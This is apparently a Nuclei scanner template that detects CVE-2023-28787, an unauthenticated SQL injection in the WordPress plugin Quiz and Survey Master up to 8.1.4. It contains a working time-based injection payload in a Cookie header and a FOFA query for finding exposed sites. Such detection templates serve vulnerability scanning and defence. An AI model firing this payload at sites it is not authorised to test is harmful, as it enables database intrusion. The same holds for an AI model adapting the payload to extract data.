id: CVE-2023-28787

info:
  name: Quiz and Survey Master <= 8.1.4 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    ExpressTech Quiz And Survey Master (versions up to 8.1.4) contains an SQL injection caused by improper neutralization of special elements used in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires user interaction.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of Quiz And Survey Master that addresses this vulnerability.
  reference:
    - https://patchstack.com/articles/critical-unauthenticated-sql-injection-in-quiz-and-survey-master/
    - https://patchstack.com/database/wordpress/plugin/quiz-master-next/vulnerability/wordpress-quiz-and-survey-master-plugin-8-1-4-unauthenticated-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28787
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-28787
    cwe-id: CWE-89
    epss-score: 0.32072
    epss-percentile: 0.96897
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/quiz-master-next"
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,quiz-master-next,qsm

http:
  - raw:
      - |
        @timeout: 30s
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: question_ids_1=1) AND SLEEP(8)-- -

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains_all(body, "quiz-master-next", "qsm_")'
        condition: and
# digest: 4a0a0047304502206f9b5c40420f2741518233e393600ea7a7db259665006bd8df64a54eab73f7be022100a14ac7368b1acef9678dc8ab1340122365b304943b21d02314be7db7ed252a9e:922c64590222798bb761d5b6d8e72950